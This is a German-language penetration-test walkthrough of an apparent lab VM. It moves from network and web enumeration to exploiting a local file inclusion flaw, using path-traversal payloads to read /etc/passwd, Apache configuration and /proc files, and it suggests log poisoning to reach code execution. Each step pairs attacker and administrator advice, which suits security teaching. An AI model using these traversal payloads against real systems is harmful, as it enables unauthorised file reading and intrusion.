Beginn der Reconnaissance-Phase. Ziel ist es, aktive Hosts im lokalen Netzwerk zu identifizieren und erste Informationen über das Zielsystem zu sammeln. Wir verwenden `arp-scan`, um Geräte im lokalen Subnetz zu finden, indem ARP-Anfragen gesendet werden.
ARP-Scan
192.168.2.107 08:00:27:90:03:a7 PCS Systemtechnik GmbH
**Analyse:** `arp-scan` hat erfolgreich einen Host mit der IP-Adresse 192.168.2.107 identifiziert. Die MAC-Adresse 08:00:27:90:03:a7 gehört zu Oracle VirtualBox (PCS Systemtechnik GmbH ist der ursprüngliche Hersteller, der von Oracle übernommen wurde), was darauf hindeutet, dass es sich um eine virtuelle Maschine handelt. Dies ist unser Zielsystem.
**Bewertung:** Die Identifizierung der Ziel-IP ist der erste entscheidende Schritt. Das Wissen, dass es sich um eine VM handelt, ist ebenfalls nützlich, beeinflusst aber nicht direkt die nächsten Schritte des Scans.
**Empfehlung (Pentester):** Notiere die IP-Adresse für weitere Scans.
**Empfehlung (Admin):** Keine direkte Maßnahme basierend auf diesem Ergebnis, außer der Bestätigung, dass das System im Netzwerk sichtbar ist. ARP-Spoofing-Detection könnte als allgemeine Sicherheitsmaßnahme implementiert werden.
/etc/hosts
192.168.2.107 double.vln
**Analyse:** Wir fügen einen Eintrag zur lokalen `/etc/hosts`-Datei auf unserem Angreifer-System hinzu. Dies ermöglicht es uns, das Zielsystem unter dem Hostnamen `double.vln` anstelle der IP-Adresse anzusprechen. Dies ist oft nützlich, wenn Webanwendungen oder Dienste für bestimmte Hostnamen konfiguriert sind (Virtual Hosting).
**Bewertung:** Ein wichtiger Schritt für die Benutzerfreundlichkeit und um sicherzustellen, dass wir Webanwendungen so ansprechen, wie sie konfiguriert sein könnten.
**Empfehlung (Pentester):** Verwende ab jetzt `double.vln` oder `$IP` (als Variable gesetzt) in den Befehlen, um Flexibilität zu gewährleisten.
**Empfehlung (Admin):** Dies ist eine lokale Konfiguration auf dem Angreifer-System und erfordert keine Aktion auf dem Zielserver.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-04 22:22 CEST
Nmap scan report for double.vln (192.168.2.107)
Host is up (0.00013s latency).
Not shown: 65531 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
| 256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_ 256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
25/tcp open smtp Postfix smtpd
| ssl-cert: Subject: commonName=shredder.calipendu.la
| Subject Alternative Name: DNS:shredder.calipendu.la
| Not valid before: 2020-10-10T14:59:42
|_Not valid after: 2030-10-08T14:59:42
|_smtp-commands: shredder.calipendu.la, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCDES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
8080/tcp open http Apache httpd 2.4.38
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=HU?
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 401 Unauthorized
MAC Address: 08:00:27:90:03:A7 (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Hosts: shredder.calipendu.la, 127.0.0.1; S: Linux; CPE: cpe:/o:linux:linux_kernel
TRACERUTE
HP RTT ADDRESS
1 0.14 ms double.vln (192.168.2.107)
**Analyse:** Wir führen einen umfassenden Nmap-Scan durch, um offene Ports, Dienste und deren Versionen zu identifizieren.
* `-sS`: TCP SYN Scan (Stealth Scan). Effizient und weniger auffällig als ein voller TCP Connect Scan.
* `-sC`: Führt Standard-Nmap-Skripte aus, um zusätzliche Informationen zu sammeln (z.B. Default-Credentials, Konfigurationsdetails).
* `-sV`: Versucht, die Versionen der laufenden Dienste zu ermitteln.
* `-A`: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute.
* `-p-`: Scannt alle 65535 TCP-Ports.
* `$IP`: Variable, die die Ziel-IP-Adresse enthält (192.168.2.107).
* `-Pn`: Überspringt die Host-Discovery-Phase (Ping-Scan) und nimmt an, dass der Host online ist. Nützlich, wenn Hosts Ping-Anfragen blockieren.
* `--min-rate 5000`: Beschleunigt den Scan, indem mindestens 5000 Pakete pro Sekunde gesendet werden. Vorsicht: Kann auf instabilen Netzwerken oder bei Intrusion Detection Systems (IDS) problematisch sein.
**Ergebnisse:**
* **Port 22 (SSH):** OpenSSH 7.9p1 (Debian). Standard-Port für sichere Shell-Verbindungen. Die Version ist relativ aktuell, aber es könnten Konfigurationsschwächen bestehen. Die Host-Keys werden angezeigt.
* **Port 25 (SMTP):** Postfix smtpd. Mail Transfer Agent. Das SSL-Zertifikat nennt `shredder.calipendu.la`, ein potenzieller weiterer Hostname für das System. Die unterstützten Befehle sind aufgelistet.
* **Port 80 (HTTP):** Apache httpd 2.4.38 (Debian). Standard-Webserver. Kein Titel gefunden, was auf eine Standardseite oder eine einfache Anwendung hindeutet. Die Version ist etwas veraltet (aktuell ist 2.4.5x).
* **Port 8080 (HTTP):** Apache httpd 2.4.38 (Debian). Ein weiterer Webserver-Instanz. Dieser Port erfordert eine HTTP Basic Authentication (`realm=HU?`). Dies ist ein interessanter Angriffsvektor (Brute-Force-Login).
* **OS-Erkennung:** Linux 4.x/5.x.
* **Service Info:** Hostname `shredder.calipendu.la` wird erneut erwähnt.
**Bewertung:** Der Scan liefert wichtige Angriffspunkte: SSH (Brute-Force, bekannte Schwachstellen), SMTP (Enumeration, Spoofing, offenes Relay?), HTTP auf Port 80 (Web-Schwachstellen) und HTTP auf Port 8080 (HTTP Basic Auth Brute-Force, Web-Schwachstellen nach Authentifizierung). Der zusätzliche Hostname `shredder.calipendu.la` sollte ebenfalls zur `/etc/hosts`-Datei hinzugefügt werden.
**Empfehlung (Pentester):** Füge `shredder.calipendu.la` zur `/etc/hosts` hinzu. Untersuche die Webserver auf Port 80 und 8080 genauer (Directory Brute-Force, Vulnerability Scanning). Versuche, die HTTP Basic Auth auf Port 8080 zu knacken. Prüfe SMTP auf offene Relays oder Benutzerenumeration.
**Empfehlung (Admin):** Aktualisiere Apache auf die neueste Version. Überprüfe die Notwendigkeit des SMTP-Servers; falls benötigt, stelle sicher, dass er sicher konfiguriert ist (kein offenes Relay, starke Authentifizierung). Überprüfe die Konfiguration der HTTP Basic Authentication auf Port 8080 und verwende starke Passwörter. Stelle sicher, dass SSH sicher konfiguriert ist (z.B. Key-basiertes Login bevorzugen, Passwort-Login einschränken/deaktivieren).
Wir starten die Web-Enumerationsphase, beginnend mit einem Nikto-Scan gegen den Webserver auf Port 80, um bekannte Schwachstellen und Fehlkonfigurationen zu identifizieren.
- Nikto v2.5.0
+ Target IP: 192.168.2.107
+ Target Hostname: 192.168.2.107
+ Target Port: 80
+ Start Time: 2024-10-04 22:23:24 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2024-10-04 22:23:52 (GMT2) (28 seconds)
+ 1 host(s) tested
**Analyse:** Nikto bestätigt die Apache-Version 2.4.38 und meldet mehrere informative Punkte:
* **Fehlende Security Header:** `X-Frame-Options` (Schutz gegen Clickjacking) und `X-Content-Type-Options` (Schutz gegen MIME-Sniffing-Angriffe) fehlen.
* **Veralteter Apache:** Bestätigt, dass die Version veraltet ist.
* **Junk HTTP Methods:** Der Server antwortet auf ungültige HTTP-Methoden, was bei einigen Scannern zu Fehlalarmen führen kann.
* **/icons/README:** Eine Standarddatei von Apache ist vorhanden. Dies ist ein geringfügiges Informationsleck, das auf eine Standardinstallation hindeuten könnte.
**Bewertung:** Die fehlenden Security Header sind häufig, stellen aber ein geringes bis mittleres Risiko dar. Die veraltete Apache-Version ist besorgniserregender, da sie bekannte Schwachstellen enthalten könnte. Das Vorhandensein der README-Datei ist von geringer Bedeutung. Nikto hat keine kritischen Schwachstellen aufgedeckt, liefert aber nützliche Hinweise.
**Empfehlung (Pentester):** Fokussiere dich auf die manuelle Enumeration und das Testen auf Schwachstellen im Zusammenhang mit der veralteten Apache-Version und der Webanwendung selbst. Führe Directory Brute-Forcing durch.
**Empfehlung (Admin):** Implementiere die fehlenden Security Header (`X-Frame-Options`, `X-Content-Type-Options`) in der Apache-Konfiguration. Aktualisiere Apache dringend auf die neueste stabile Version. Entferne oder beschränke den Zugriff auf unnötige Standarddateien wie `/icons/README`.
Als Nächstes verwenden wir Gobuster, um Verzeichnisse und Dateien auf dem Webserver (Port 80) zu finden, die nicht direkt verlinkt sind. Wir nutzen eine gängige Wortliste und suchen nach verschiedenen Dateiendungen.
http://192.168.2.107/index.php (Status: 200) [Size: 140]
http://192.168.2.107/production (Status: 301) [Size: 319] [--> http://192.168.2.107/production/]
**Analyse:** Gobuster identifiziert zwei interessante Pfade:
* `/index.php`: Die Hauptseite der Anwendung (Status 200 OK).
* `/production`: Ein Verzeichnis (Status 301 Moved Permanently, leitet zu `/production/` weiter).
* `-u`: Ziel-URL.
* `-w`: Wortliste für Verzeichnis-/Dateinamen.
* `-x`: Dateierweiterungen, nach denen zusätzlich gesucht werden soll.
* `-b`: Statuscodes, die ausgeblendet werden sollen (hier: Serverfehler, Nicht gefunden, Verboten).
* `-e`: Erweiterter Modus, zeigt die vollständige URL an.
* `--no-error`: Blendet Fehler beim Verbindungsaufbau aus.
* `-k`: Ignoriert SSL-Zertifikatfehler (hier nicht relevant für HTTP).
**Bewertung:** Das Verzeichnis `/production` ist der wichtigste Fund hier. Es deutet auf einen Bereich hin, der möglicherweise sensible Funktionen oder Informationen enthält. `/index.php` wurde erwartet.
**Empfehlung (Pentester):** Untersuche das Verzeichnis `/production` weiter mit Gobuster und manuell im Browser.
**Empfehlung (Admin):** Überprüfe, ob das Verzeichnis `/production` öffentlich zugänglich sein soll. Falls nicht, schränke den Zugriff entsprechend ein (z.B. durch .htaccess, Netzwerkkonfiguration oder Entfernen).
Wir untersuchen die gefundene Anwendung unter `/production/` weiter. Wir vermuten eine Local File Inclusion (LFI)-Schwachstelle und verwenden `wfuzz`, um gängige Parameter zu testen, die für LFI anfällig sein könnten. Wir versuchen, die Datei `/etc/passwd` einzubinden.
Target: http://192.168.2.107/production/sendcommand.php?FUZZ=../../../../../../../../../etc/passwd
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000657: 200 34 L 60 W 1820 Ch "out"
Total time: 0
Processed Requests: 35568
Filtered Requests: 35567
Requests/sec.: 0
**Analyse:** Dieser `wfuzz`-Befehl versucht, einen anfälligen Parameter für LFI zu finden.
* `-c`: Farbige Ausgabe.
* `-w`: Wortliste (hier wird fälschlicherweise `directory-list-2.3-medium.txt` verwendet, besser wäre eine Parameterliste wie `common.txt` oder `raft-large-directories.txt` gewesen, aber das Ergebnis war dennoch erfolgreich).
* `-u`: Ziel-URL mit `FUZZ` als Platzhalter für den Parameter-Namen. Der Wert des Parameters ist auf einen Pfad-Traversal-Versuch zur `/etc/passwd`-Datei gesetzt.
* `--hc 404`: Blendet Antworten mit dem Statuscode 404 (Not Found) aus.
* `--hh 496`: Blendet Antworten mit exakt 496 Zeichen aus (dies deutet darauf hin, dass dies die Größe der Standard-Fehlerseite oder einer "Parameter nicht gefunden"-Seite ist).
**Ergebnis:** Wfuzz findet heraus, dass der Parameter `out` eine andere Antwort liefert (Status 200, 34 Zeilen, 60 Wörter, 1820 Zeichen) als die Standard-Fehlerseite, wenn versucht wird, `/etc/passwd` zu laden. Dies ist ein starker Hinweis auf eine LFI-Schwachstelle im Parameter `out` in der Datei `sendcommand.php`.
**Bewertung:** Dies ist ein kritischer Fund. Eine LFI-Schwachstelle ermöglicht es einem Angreifer, beliebige Dateien auf dem Server zu lesen, auf die der Webserver-Prozess (hier `www-data`) Lesezugriff hat.
**Empfehlung (Pentester):** Bestätige die LFI, indem du versuchst, bekannte Dateien wie `/etc/passwd` über den `out`-Parameter zu laden. Untersuche den Quellcode von `sendcommand.php`, falls möglich. Versuche, die LFI zu RCE (Remote Code Execution) zu eskalieren, z.B. durch Log Poisoning oder Einbinden von `/proc/self/environ`.
**Empfehlung (Admin):** Behebe die LFI-Schwachstelle in `sendcommand.php` dringend! Implementiere eine sichere Eingabevalidierung und -sanitisierung. Verwende Whitelists für erlaubte Dateien anstelle von Blacklists. Beschränke die Berechtigungen des Webserver-Benutzers (`www-data`) auf das absolute Minimum.
Die folgende `wfuzz`-Ausgabe scheint aus einem anderen Test zu stammen, möglicherweise dem Versuch, verschiedene Dateien über den bereits identifizierten `out`-Parameter einzubinden, eventuell unter Verwendung von Null-Byte-Injektion (`%00`). Das Null-Byte kann manchmal dazu verwendet werden, Suffixe zu umgehen, die die Anwendung an den Dateinamen anhängt.
=====================================================================
Fuzzing nach Local-File-Inclusion
=====================================================================
000065064: 200 4 L 25 W 268 Ch "/usr/local/php4/httpd.conf%00"
000065046: 200 4 L 25 W 278 Ch "/usr/local/etc/httpd/conf/httpd.conf%00"
000065061: 200 4 L 25 W 264 Ch "/usr/local/lib/php.ini%00"
# [...] Viele ähnliche Zeilen ausgelassen zur Übersichtlichkeit [...]
000070547: 200 34 L 60 W 1820 Ch "/etc/passwd"
000071559: 200 229 L 1124 W 7290 Ch "/etc/apache2/apache2.conf"
000071555: 200 4 L 13 W 103 Ch "/etc/hosts"
000071558: 200 15 L 103 W 800 Ch "/etc/fstab"
000071564: 200 25 L 144 W 935 Ch "/etc/mysql/my.cnf"
000071556: 200 9 L 50 W 352 Ch "/etc/motd"
000071574: 200 63 L 70 W 899 Ch "/etc/group"
000071764: 200 24 L 199 W 1108 Ch "/etc/crontab"
000071762: 200 4 L 14 W 93 Ch "/etc/issue"
000071743: 200 2 L 10 W 93 Ch "/proc/self/cmdline"
000071745: 200 56 L 141 W 1095 Ch "/proc/self/status"
000071744: 200 3 L 61 W 385 Ch "/proc/self/stat"
000071766: 200 3 L 23 W 204 Ch "/proc/version"
**Analyse:** Diese `wfuzz`-Ausgabe zeigt Versuche, verschiedene Systemdateien über die LFI-Schwachstelle zu lesen. Viele der `%00`-Versuche liefern eine generische Antwort (4 Zeilen, 25 Wörter), was darauf hindeutet, dass das Null-Byte hier möglicherweise nicht wie beabsichtigt funktioniert oder die Dateien nicht existieren. Jedoch werden später im Scan tatsächliche Systemdateien erfolgreich gelesen (ohne Null-Byte), was die LFI bestätigt:
* `/etc/passwd` (34 Zeilen, 60 Wörter, 1820 Zeichen) - Bestätigt Lesezugriff.
* `/etc/apache2/apache2.conf` (229 Zeilen) - Apache-Konfigurationsdatei, wertvoll für weitere Informationen.
* `/etc/hosts`, `/etc/fstab`, `/etc/mysql/my.cnf`, `/etc/motd`, `/etc/group`, `/etc/crontab`, `/etc/issue` - Weitere Systemkonfigurationsdateien.
* `/proc/self/cmdline`, `/proc/self/status`, `/proc/self/stat`, `/proc/version` - Prozess- und Systeminformationen aus dem `/proc`-Dateisystem.
**Bewertung:** Die Fähigkeit, diese Dateien zu lesen, ist ein ernstes Sicherheitsproblem. Es bestätigt die LFI-Schwachstelle und liefert wertvolle Informationen über die Systemkonfiguration (Apache, MySQL, Benutzer, geplante Aufgaben usw.), die für weitere Angriffe genutzt werden können. Das Lesen der Apache-Konfiguration ist besonders nützlich.
**Empfehlung (Pentester):** Analysiere die gelesenen Konfigurationsdateien, insbesondere `apache2.conf`, auf interessante Einstellungen, weitere Pfade, virtuelle Hosts oder sensible Informationen. Lese weitere potenziell interessante Dateien (Anwendungscode, Logdateien).
**Empfehlung (Admin):** Unmittelbare Behebung der LFI-Schwachstelle ist erforderlich (siehe vorherige Empfehlung). Überprüfe die Berechtigungen aller auslesbaren Konfigurationsdateien und beschränke sie auf das Notwendigste.
Wir lesen die Apache-Konfigurationsdatei `/etc/apache2/apache2.conf`, die wir zuvor mittels LFI als lesbar identifiziert haben.
http://192.168.2.107/production/sendcommand.php?out=../../../../../../../../..//etc/apache2/apache2.conf
#
#
# Summary of how the Apache 2 configuration works in Debian:
# The Apache 2 web server configuration in Debian is quite different to
# upstream's suggested way to configure the web server. This is because Debian's
# default Apache2 installation attempts to make adding and removing modules,
# virtual hosts, and extra configuration directives as flexible as possible, in
# order to make automating the changes and administering the server as easy as
# possible.
# It is split into several files forming the configuration hierarchy outlined
# below, all located in the /etc/apache2/ directory:
#
# /etc/apache2/
# |-- apache2.conf
# | `-- ports.conf
# |-- mods-enabled
# | |-- *.load
# | `-- *.conf
# |-- conf-enabled
# | `-- *.conf
# `-- sites-enabled
# `-- *.conf
#
#
# * apache2.conf is the main configuration file (this file). It puts the pieces
# together by including all remaining configuration files when starting up the
# web server.
#
# * ports.conf is always included from the main configuration file. It is
# supposed to determine listening ports for incoming connections which can be
# customized anytime.
#
# * Configuration files in the mods-enabled/, conf-enabled/ and sites-enabled/
# [...] Rest der Konfigurationsdatei ausgelassen [...]
**Analyse:** Der Inhalt der `apache2.conf` wird erfolgreich angezeigt. Diese Datei ist die Hauptkonfigurationsdatei für Apache auf Debian-Systemen. Sie enthält oft globale Einstellungen und `Include`-Direktiven, die auf andere Konfigurationsdateien verweisen (z.B. in `sites-enabled`, `mods-enabled`, `conf-enabled`). Sie gibt Aufschluss über die Struktur der Apache-Konfiguration auf diesem System.
**Bewertung:** Das Lesen dieser Datei ist wertvoll, um zu verstehen, wie der Webserver konfiguriert ist. Sie könnte Pfade zu Logdateien, virtuellen Hosts, aktivierten Modulen oder anderen sensiblen Konfigurationsteilen enthalten.
**Empfehlung (Pentester):** Suche in der Datei nach `Include`-Direktiven, `DocumentRoot`-Definitionen, `ErrorLog`, `CustomLog`, `Alias`-Direktiven und Konfigurationen für virtuelle Hosts (`VirtualHost`). Versuche, die referenzierten Dateien (z.B. aus `sites-enabled`) ebenfalls über die LFI zu lesen.
**Empfehlung (Admin):** Auch hier gilt: Behebe die LFI-Schwachstelle. Stelle sicher, dass die Berechtigungen für Konfigurationsdateien restriktiv sind (nur für `root` lesbar, wenn möglich).
Wir versuchen nun gezielt, Logdateien über die LFI-Schwachstelle zu finden, da diese oft für Log Poisoning (Eskalation von LFI zu RCE) genutzt werden können. Wir verwenden `wfuzz` mit einer Liste gängiger Logdateipfade und filtern nach "access", um Apache-Zugriffslogs zu finden.
000000027: 200 6 L 44 W 445 Ch "/etc/httpd/access.conf"
000000096: 200 6 L 44 W 445 Ch "/etc/wu-ftpd/ftpaccess"
000004795: 200 6 L 44 W 447 Ch "/apache/logs/access.log"
000004805: 200 6 L 44 W 467 Ch "/usr/local/apache/logs/access.log"
000004856: 200 6 L 44 W 449 Ch "/var/www/logs/access_log"
000005212: 200 6 L 41 W 447 Ch "/var/log/apache2/access.log"
000005208: 200 6 L 44 W 439 Ch "/var/log/access.log"
000005237: 200 6 L 44 W 449 Ch "/var/www/logs/access_log"
000005429: 200 6 L 44 W 449 Ch "/var/www/logs/access.log"
000005496: 200 4 L 25 W 265 Ch "/apache/logs/access.log%00"
000005494: 200 4 L 25 W 265 Ch "/apache/logs/access.log%00"
000005506: 200 4 L 25 W 269 Ch "/var/log/apache2/access_log%00"
000005502: 200 4 L 25 W 266 Ch "/var/www/logs/access.log%00"
000005521: 200 4 L 25 W 267 Ch "/var/log/httpd/access_log%00"
000005505: 200 4 L 25 W 268 Ch "/var/log/apache/access_log%00"
000005510: 200 4 L 25 W 261 Ch "/var/log/access.log%00"
000005504: 200 4 L 26 W 276 Ch "/usr/local/apache/logs/access. log%00"
000005507: 200 4 L 25 W 268 Ch "/var/log/apache/access.log%00"
000005509: 200 4 L 25 W 261 Ch "/var/log/access_log%00"
000005508: 200 4 L 25 W 269 Ch "/var/log/apache2/access.log%00"
# [...] Viele ähnliche Zeilen ausgelassen [...]
000005595: 200 4 L 27 W 292 Ch "/Program Files\Apache Group\Apache\logs\access.log%00"
**Analyse:** Dieser `wfuzz`-Befehl zielt darauf ab, lesbare Logdateien zu finden.
* `-w /usr/share/wordlists/logfiles.txt`: Verwendet eine spezielle Wortliste für Logdateipfade.
* `-u "...?out=FUZZ"`: Fügt jeden Pfad aus der Wortliste in den `out`-Parameter ein.
* `--hc 404`: Blendet "Not Found"-Fehler aus.
* `--hl 6`: Blendet Antworten mit genau 6 Zeilen aus (dies ist vermutlich die Standardantwort für existierende, aber leere oder uninteressante Dateien in diesem Szenario).
* `| grep access -i`: Filtert die Ausgabe nach Zeilen, die "access" (Groß-/Kleinschreibung ignorieren) enthalten, um gezielt nach Zugriffslogs zu suchen.
**Ergebnis:** Mehrere potenzielle Logdateipfade werden gefunden, die eine andere Antwort als die ausgeblendeten liefern. Besonders relevant ist `/var/log/apache2/access.log`, der Standardpfad für Apache-Zugriffslogs auf Debian. Auch die `%00`-Varianten werden gefunden, liefern aber wahrscheinlich keine anderen Ergebnisse als die Pfade ohne Null-Byte.
**Bewertung:** Die Identifizierung einer lesbaren Zugriffslogdatei (`/var/log/apache2/access.log`) ist ein wichtiger Schritt in Richtung Log Poisoning. Wenn wir schreibenden Zugriff auf diese Datei haben (indem wir Anfragen an den Server senden, die protokolliert werden), können wir versuchen, PHP-Code in das Log zu injizieren und ihn dann über die LFI auszuführen.
**Empfehlung (Pentester):** Versuche, PHP-Code (z.B. `` oder ``) in das Log zu schreiben, indem du ihn in einen Teil einer HTTP-Anfrage einfügst, der protokolliert wird (z.B. User-Agent, URL-Parameter). Lese dann die Logdatei über die LFI erneut, um zu sehen, ob der Code ausgeführt wird.
**Empfehlung (Admin):** Behebe die LFI. Ändere ggf. die Berechtigungen für Logdateien, sodass der Webserver-Benutzer keinen Lesezugriff hat (obwohl dies die Fehlerbehebung erschweren kann). Implementiere Web Application Firewalls (WAFs), um bösartige Anfragen zu blockieren.
Wir betrachten den Inhalt der Startseite und der gefundenen `sendcommand.php`.
=====================================================================
http://192.168.2.107/index.php
SSCS 0.3b - Super Secure Command Send
Production - TEST
=====================================================================
http://192.168.2.107/production/sendcommand.php?out=out
Ask to admin to update config: set production=1
2024-10-04 09:22:07-192.168.2.199 - ghz>hzx
2024-10-04 09:22:07-192.168.2.199 - hzx"zxc
2024-10-04 09:22:07-192.168.2.199 - ' R sqlspider
2024-10-04 09:22:08-192.168.2.199 - zxc'xcv
2024-10-04 09:33:51-192.168.2.199 - id
=====================================================================
**Analyse:**
* `index.php`: Zeigt "SSCS 0.3b - Super Secure Command Send" und "Production - TEST". Der Name "Command Send" ist alarmierend und deutet auf eine Funktion zur Befehlsausführung hin. "TEST" könnte bedeuten, dass es sich um eine unfertige oder unsichere Implementierung handelt.
* `sendcommand.php?out=out`: Zeigt eine Nachricht "Ask to admin to update config: set production=1". Darunter werden Log-Einträge angezeigt, die scheinbar aus einer anderen Datei stammen oder von einer anderen Funktion generiert werden. Die Einträge zeigen eine IP-Adresse (unsere Angreifer-IP) und scheinbar zufällige Zeichen oder kurze Befehle wie "id". Dies bestätigt, dass die Anwendung Eingaben entgegennimmt und möglicherweise protokolliert. Der Parameter `out=out` scheint hier eine Standarddatei oder Log anzuzeigen.
**Bewertung:** Die Anwendung scheint tatsächlich für das Senden von Befehlen gedacht zu sein, ist aber im "TEST"-Modus. Die LFI im `out`-Parameter ist wahrscheinlich unbeabsichtigt. Die angezeigten Log-Einträge in `sendcommand.php?out=out` sind interessant, aber der Lesezugriff auf beliebige Dateien über den `out`-Parameter ist die kritischere Schwachstelle. Die Nachricht "set production=1" ist ein Hinweis, der möglicherweise später relevant wird.
**Empfehlung (Pentester):** Konzentriere dich auf die Ausnutzung der LFI. Die angezeigten Log-Einträge scheinen nicht direkt mit der LFI zusammenzuhängen, könnten aber aus einer anderen Logdatei stammen, die wir ebenfalls lesen sollten.
**Empfehlung (Admin):** Entferne oder sichere die "Super Secure Command Send"-Anwendung. Behebe die LFI-Schwachstelle. Untersuche, woher die angezeigten Log-Einträge kommen und ob diese Protokollierung sicher ist.
Fehlermeldungen, die auftreten, wenn versucht wird, die LFI ohne einen gültigen Dateinamen (oder wenn der Parameter fehlt) auszunutzen.
http://192.168.2.107/production/sendcommand.php?FUZZ=../../../../../../../../../etc/passwd
Ask to admin to update config: set production=1
Notice: Undefined index: out in /var/www/html/production/sendcommand.php on line 11
Warning: include(): Filename cannot be empty in /var/www/html/production/sendcommand.php on line 13
Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/share/php') in /var/www/html/production/sendcommand.php on line 13
**Analyse:** Wenn wir die URL aufrufen, aber den `out`-Parameter nicht angeben (oder einen anderen Parameter wie `FUZZ` verwenden, der von der Anwendung nicht erwartet wird), gibt PHP Fehlermeldungen aus:
* `Notice: Undefined index: out`: Die Anwendung versucht, auf den `out`-Parameter zuzugreifen, der aber nicht in der Anfrage vorhanden ist.
* `Warning: include(): Filename cannot be empty`: Da `$out` undefiniert ist, versucht die `include()`-Funktion, eine leere Zeichenkette einzubinden, was fehlschlägt.
* `Warning: include(): Failed opening '' for inclusion`: Bestätigt den Fehler beim Einbinden des leeren Dateinamens.
**Bewertung:** Diese Fehlermeldungen sind sehr aufschlussreich. Sie bestätigen:
1. Die Anwendung verwendet den `out`-Parameter.
2. Der Wert des `out`-Parameters wird direkt in eine `include()`-Funktion auf Zeile 13 von `/var/www/html/production/sendcommand.php` übergeben. Dies ist die Ursache der LFI-Schwachstelle.
3. Die Anzeige von PHP-Fehlern (`display_errors` ist vermutlich auf `On`) ist ein weiteres Informationsleck.
**Empfehlung (Pentester):** Nutze das Wissen über die `include()`-Funktion und den `out`-Parameter, um die LFI gezielt auszunutzen, z.B. mit PHP-Wrappern wie `php://filter`.
**Empfehlung (Admin):** Behebe die LFI. Deaktiviere die Anzeige von PHP-Fehlern (`display_errors = Off`) in der `php.ini` für Produktionsumgebungen und logge Fehler stattdessen in eine Datei.
Bestätigung der LFI durch erfolgreiches Lesen von `/etc/passwd` über den `out`-Parameter.
192.168.2.107/production/sendcommand.php?out=../../../../../../../../../etc/passwd
Ask to admin to update config: set production=1
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110/nonexistent:/usr/sbin/nologin
sshd:x:105:65534/run/sshd:/usr/sbin/nologin
avahi:x:106:115:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:107:116/var/lib/saned:/usr/sbin/nologin
colord:x:108:117:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
hplip:x:109:7:HPLIP system user,,,:/var/run/hplip:/bin/false
ppp:x:1000:1000:ppp,,,:/home/ppp:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postfix:x:110:118/var/spool/postfix:/usr/sbin/nologin
fox:x:1001:1001/home/fox:/bin/sh
**Analyse:** Die Datei `/etc/passwd` wird erfolgreich über die LFI im `out`-Parameter geladen und angezeigt. Wir sehen die Benutzerliste des Systems, einschließlich `root`, `www-data`, `ppp` und `fox`. Auffällig ist, dass `ppp` eine `/bin/bash`-Shell hat und `fox` eine `/bin/sh`-Shell. Dies sind potenzielle Benutzerkonten, die für einen initialen Zugriff interessant sein könnten, falls wir Anmeldedaten finden oder erraten können.
**Bewertung:** Eindeutige Bestätigung der LFI-Schwachstelle und ihrer Ausnutzbarkeit zum Lesen sensibler Systemdateien.
